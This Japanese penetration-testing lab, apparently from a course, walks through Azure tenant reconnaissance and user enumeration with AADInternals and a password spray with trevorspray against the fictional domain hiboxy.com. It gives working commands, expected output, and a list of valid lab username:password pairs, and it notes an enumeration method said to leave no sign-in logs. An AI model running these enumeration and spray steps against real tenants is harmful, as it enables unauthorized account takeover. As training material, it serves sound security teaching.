Lab 5.6: Azure偵察とパスワードスプレー攻撃
オフライン演習
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要です。
目的
- AADInternalsモジュールを使用してドメイン偵察を実行する
- AADInternalsモジュールを使用して単一ユーザー名の収集を行う
- AADInternalsモジュールを使用して大量のユーザーを収集する
- trevorsprayを使用して限定的なパスワードスプレー攻撃によるパスワード攻撃を実行する
ウォークスルービデオ
Lab セットアップ
使用するVM:
- Linux
- Windows 11
Lab – ステップバイステップの手順
偵察とパスワードベースの攻撃を実行することでAzure Labを開始します。MITRE ATT&CK®フレームワークでは、我々の戦術を偵察(TA0043)と初期アクセス(TA0001)として分類します。このLabでは、以下を含むいくつかの目標に焦点を当てます:
- Entra IDにホストされている有効および無効なドメインの検索
- そのディレクトリに存在する有効および無効なアカウントの検索
- パスワードスプレーなどの技術を使用して、既知のパスワードリストでこれらのアカウントを攻撃する
Lab – ステップバイステップの手順
1: AADInternalsの読み込み
Windows 11 VMでは、AADInternalsのAADおよびM365キルチェーンセクションから開始して、外部者としてスキャンします。
AADInternalsツールを起動するには、PowerShellプロンプトを開き、以下のコマンドを実行します。
コマンド
Import-Module AADInternals
想定される結果
PS C:\Users\sec560> Import-Module AADInternals
___ ___ ____ ____ __ __
/ | / | / __ \/ _/___ / /____ _________ ____ _/ /____
/ /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ `/ / ___/
/ ___ |/ ___ |/ /_/ _/ // / / / /_/ __/ / / / / / /_/ / (__ )
/_/ |_/_/ |_/_____/___/_/ /_/\__/\___/_/ /_/ /_/\__,_/_/____/
v0.9.4 by @DrAzureAD (Nestori Syynimaa)
2: Invoke-AADIntReconAsOutsider
次に、モジュールの1つを使用して偵察を実行します。このプロセスを支援するいくつかのモジュールがあります。AADInternalsに含まれるツールは、内部ユーザー、ゲストユーザー、および完全な外部者として偵察を行うことができます。既知の認証情報がないため、AADIntReconAsOutsiderを使用するように設定します。
コマンド
Invoke-AADIntReconAsOutsider -DomainName hiboxy.com | Format-Table
想定される結果
PS C:\Users\sec560> Invoke-AADIntReconAsOutsider -DomainName hiboxy.com | Format-Table
Tenant brand: Hiboxy
Tenant name:
Tenant id: 1c0060e4-c4db-4777-a48b-34a1515e33bf
Tenant region: NA
DesktopSSO enabled: False
Get-TenantSubscope: C:\Users\sec560\Documents\PowerShell\Modules\AADInternals\0.9.8\KillChain_utils.ps1:266
Line |
266 | … $SubScope = Get-TenantSubscope -Domain $User.Split("@")[1]
| ~~~~~~~~~~~~~~~~~~~
| Cannot bind argument to parameter 'Domain' because it is an empty string.
WARNING: Requests throttled!
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
hiboxy.com False False False False False Managed
KillChain_utils.ps1
エラーについて知りたいですか?
このエラーについて議論しているAADInternals GitHubリポジトリに問題があります。MicrosoftがAPIに対するサーバー側の応答を変更すると、AADInternalsモジュールに問題が発生する可能性があります。
攻撃シナリオの一部として考慮したい注目すべき項目がいくつかあります。まず、hiboxy.comがプライマリテナントドメインであることがわかります。元々存在するいくつかのドメインがあります。hiboxy.onmicrosoft.comが元のテナント名である可能性があります。この「パターン」を知ることで、同様の名前を持つ他のサービスが明らかになる可能性があります。次に、有効になっているものと有効になっていないものを確認します。シングルサインオンを有効にできるDesktopSSOは有効になっていません。この機能が有効になっていないということは、AZUREADSSOACCコンピュータアカウントがオンプレミスドメインにないため、攻撃ベクトルとして使用できない可能性があることを意味します。また、メール設定が強化されていないようです。hiboxy.comのMXレコードがなく、どのドメインにもDMARCレコードが存在しません。
3: Invoke-AADIntUserEnumerationAsOutsider
有効なドメインがあるので、ユーザーを列挙の対象にすることができます。
コマンド
Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com"
想定される結果
PS C:\Users\sec560> Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com"
UserName Exists
-------- ------
aparker@hiboxy.com True
このモジュールが攻撃のために使用する3つのAPIがあります:
- Normal(指定なし): GetCredentialType API
- Login: 標準ユーザーログインを試行します。試行はサインインログに記録されます
- Autologon: autologon APIを使用します。このAPIはログイベントを残しません
コマンド
Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com" -Method Login
想定される結果
PS C:\Users\sec560> Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com" -Method Login
UserName Exists
-------- ------
aparker@hiboxy.com True
これは1人のユーザーを検索するには十分ですが、より多くのユーザーリストについてはどうでしょうか?
4: ユーザー名収集攻撃
次のコマンドでは、ユーザー名のリストが必要です。hiboxy.comドメインでこれらのユーザー名を使用しようとします。ドメインコントローラーで見つけたユーザーのいくつかを取得し、C:\CourseFiles\users.txt
ファイルに配置しました。実際の世界では、偵察フェーズ中にこのリストを作成することになるでしょう。
ユーザーのリストを見てみましょう。
コマンド
Get-Content C:\CourseFiles\users.txt
想定される結果
PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt
abates@hiboxy.com
alee@hiboxy.com
aparker@hiboxy.com
bgreen@hiboxy.com
bking@hiboxy.com
bsanchez@hiboxy.com
bwebster@hiboxy.com
hmarsh@hiboxy.com
janderson@hiboxy.com
jcooper@hiboxy.com
jlopez@hiboxy.com
jmartin@hiboxy.com
kacevedo@hiboxy.com
mhernandez@hiboxy.com
mlara@hiboxy.com
mluna@hiboxy.com
nlopez@hiboxy.com
rduran@hiboxy.com
rgray@hiboxy.com
slopez@hiboxy.com
ssmith@hiboxy.com
これらのユーザーでInvoke-AADIntUsrEnumerationAsOutsider
を実行します。これは認証のタイプを指定せずにログ証跡を残します。
コマンド
Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider
想定される結果
PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider
UserName Exists
-------- ------
abates@hiboxy.com True
alee@hiboxy.com False
aparker@hiboxy... True
bgreen@hiboxy.com False
bking@hiboxy.com False
bsanchez@hibox... False
bwebster@hibox... False
hmarsh@hiboxy.com False
janderson@hibo... False
jcooper@hiboxy... False
jlopez@hiboxy.com False
jmartin@hiboxy... False
kacevedo@hibox... False
mhernandez@hib... False
mlara@hiboxy.com True
mluna@hiboxy.com False
nlopez@hiboxy.com False
rduran@hiboxy.com False
rgray@hiboxy.com False
slopez@hiboxy.com True
ssmith@hiboxy.com False
存在するユーザーのみのリストを作成しましょう。
コマンド
Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider | Where-Object Exists | Select-Object UserName
想定される結果
PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider | Where-Object Exists | Select-Object UserName
UserName
--------
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com
次のステップはLinuxから実行します。続行するにはSEC560 Linux VMに切り替えてください。
5: Linuxでの攻撃準備
Linuxシステムに切り替えて、上記の情報に基づいてユーザーリストを作成します。注意として、ユーザー名だけが必要で、メールアドレスのような形式は必要ありません。
コマンド
cat << EOF > /tmp/users.txt
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com
EOF
想定される結果
sec560@560vm:~$ cat << EOF > /tmp/users.txt
> abates@hiboxy.com
> aparker@hiboxy.com
> mlara@hiboxy.com
> slopez@hiboxy.com
> EOF
cat << EOF
構文について知りたいですか?
<<
は、ファイルの内容をコマンドにリダイレクトできるシェルオペレーターです。この場合、ユーザー名の内容でファイルを作成するために使用しています。EOF
は、ファイルの終わりがどこであるかをシェルに伝えるデリミタです。任意の文字列を使用できますが、EOF
は一般的な選択肢です。
ファイルが正しいことを確認しましょう。
コマンド
cat /tmp/users.txt
想定される結果
sec560@560vm:~$ cat /tmp/users.txt
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com
以前のLabでクラックしたパスワードを使用して、passwords.txtファイルも作成しましょう。
コマンド
cat << EOF > /tmp/passwords.txt
Oozle11
Password123
Packardbell350
Metallica6
Tibbetts3
Patrique2238
EOF
想定される結果
sec560@560vm:~$ cat << EOF > /tmp/passwords.txt
> Oozle11
> Password123
> Packardbell350
> Metallica6
> Tibbetts3
> Patrique2238
> EOF
ファイルが正しく作成されたことを確認しましょう。
コマンド
cat /tmp/passwords.txt
想定される結果
sec560@560vm:~$ cat /tmp/passwords.txt
Oozle11
Password123
Packardbell350
Metallica6
Tibbetts3
Patrique2238
6: パスワードスプレー攻撃
パスワードスプレー攻撃のために、Linux VMからtrevorsprayを使用します。
まず、使用方法を確認しましょう:
コマンド
trevorspray --help
想定される結果
sec560@560vm:~$ trevorspray -h
[INFO] Command: /usr/local/bin/trevorspray -h
usage: trevorspray [-h] [-m {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] [-r DOMAIN] [-t THREADS] [-f] [-d DELAY]
[-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]]
[-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]
A password sprayer with the option to load-balance traffic through SSH hosts
options:
-h, --help show this help message and exit
basic arguments:
-m {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}, --module {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}
Spray module to use (default: msol)
-u USERS [USERS ...], --users USERS [USERS ...]
Usernames(s) and/or file(s) containing usernames
-p PASSWORDS [PASSWORDS ...], --passwords PASSWORDS [PASSWORDS ...]
Password(s) and/or file(s) containing passwords
--url URL The URL to spray against
-r DOMAIN, --recon DOMAIN, --enumerate DOMAIN
Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
...trimmed for brevity...
Trevorsprayには多くのオプションがありますが、以下を使用します:
- メールアドレスのリストを含むusers.txtファイル
- パスワードのリストを含むpasswords.txtファイル
- hiboxy.comに対する認証のためのURL。これは偵察によってすぐに取得します
まず、以前の結果をクリーンアップしてから、hiboxy.comに対して偵察を実行しましょう:
コマンド
rm -rf ~/.trevorspray 2>/dev/null
trevorspray --recon hiboxy.com
想定される結果
sec560@560vm:~$ rm -rf ~/.trevorspray 2>/dev/null
sec560@560vm:~$ trevorspray --recon hiboxy.com
[INFO] Command: /usr/local/bin/trevorspray --recon hiboxy.com
[INFO] Checking MX records for hiboxy.com
[WARN] No results.
[INFO] Checking TXT records for hiboxy.com
[WARN] No results.
[INFO] Checking OpenID configuration at https://login.windows.net/hiboxy.com/.well-known/openid-configuration
[INFO] NOTE: You can spray against "token_endpoint" with --url!!
[SUCC]
{
"token_endpoint": "https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token",
...trimmed for brevity...
ドメイン名だけからこれほど多くの情報を得られることは驚くべきことです。これでスプレー攻撃に必要なURLが手に入りました。攻撃で使用しましょう:
コマンド
trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url 'https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token'
想定される結果
sec560@560vm:~$ trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url 'https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token'
[INFO] Command: /usr/local/bin/trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token
[INFO] Spraying 4 users * 6 passwords against https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token at Fri Sep 13 00:18:39 2024
[INFO] Checking user realm at https://login.microsoftonline.com/getuserrealm.srf?login=test@hiboxy.com
[WARN] abates@hiboxy.com:Oozle11 - AADSTS50126: Invalid email or password. Account could exist.
[SUCC] aparker@hiboxy.com:Oozle11 - AADSTS50131: Correct password but login was blocked.
...trimmed for brevity...
[INFO] Finished spraying 24 users against https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token at Fri Sep 13 00:19:55 2024
[SUCC] aparker@hiboxy.com:Oozle11
[SUCC] mlara@hiboxy.com:Packardbell350
[SUCC] abates@hiboxy.com:Metallica6
[SUCC] slopez@hiboxy.com:Tibbetts3
[INFO] 24 valid users written to /home/sec560/.trevorspray/existent_users.txt
[INFO] 4 valid user/pass combos written to /home/sec560/.trevorspray/valid_logins.txt
7: 攻撃の出力を表示する
結果がファイルに保存されていることに注意してください。この例では、ファイルは/home/sec560/.trevorspray/valid_logins.txt
です。その内容を調べてみましょう:
コマンド
cat /home/sec560/.trevorspray/valid_logins.txt
想定される結果
sec560@560vm:~$ cat /home/sec560/.trevorspray/valid_logins.txt
aparker@hiboxy.com:Oozle11
mlara@hiboxy.com:Packardbell350
abates@hiboxy.com:Metallica6
slopez@hiboxy.com:Tibbetts3
偶然ではありませんが、これは侵害データが取る傾向がある同じ形式です -- email_address:password
。
複数のユーザーが有効なユーザー名とパスワードを持っていることがわかりました。これらのいくつかはAzure Portalで権限を持っている可能性があり、他のものは持っていない可能性があります。どのユーザーが有効かを理解するために、さらに作業を行う必要があります。以下は有効なユーザーとパスワードのリストです:
発見されたユーザー名とパスワード
これらのパスワードを見つけたはずです。推測された認証情報の完全なリストのために、侵害リストから他のパスワードも含めています。
ユーザー | ログイン | パスワード |
---|---|---|
abates |
abates@hiboxy.com |
Metallica6 |
aparker |
aparker@hiboxy.com |
Oozle11 |
mlara |
mlara@hiboxy.com |
Packardbell350 |
slopez |
slopez@hiboxy.com |
Tibbetts3 |
まとめ
このLabでは、AADInternalsを使用してテナントAzure環境をよく理解することから始めました。探索した多くのツールは、機能を実行するためにパスワードスプレーを活用しています。単一のクライアント識別子を使用して、単一のAzure認証エンドポイントに対してこれらの攻撃を実行しました。これが唯一の攻撃パスではありませんが、多くのテスターにとって非常に人気のあるオプションです。
侵入テスターは、パスワードスプレー、ユーザー名列挙、およびテナント識別を使用して、ターゲット組織に対して成功したキャンペーンを実施できます。これにより、環境内で最初の足がかりを提供する攻撃を策定したり、さらなる攻撃を実施する能力を提供したりすることができます。